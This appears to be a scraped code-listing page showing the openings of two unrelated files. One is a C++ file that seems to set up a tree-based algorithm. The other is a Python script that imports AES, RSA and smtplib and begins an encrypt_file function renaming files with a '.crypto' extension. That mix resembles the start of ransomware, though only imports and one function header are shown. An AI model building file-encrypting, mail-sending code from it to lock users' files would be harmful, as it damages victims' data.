This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <algorithm> | |
#include <cstring> | |
#include <cstdio> | |
#define maxn 300001 | |
typedef long long bigNum; | |
bigNum tree[maxn], data[maxn], sorted[maxn]; | |
using namespace std; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, random, struct | |
from Crypto.Cipher import AES | |
from Crypto import Random | |
from Crypto.PublicKey import RSA | |
import Crypto.Util.number | |
import smtplib | |
import base64 | |
def encrypt_file(key, in_filename, chunksize=64*1024): | |
out_filename = in_filename + '.crypto' |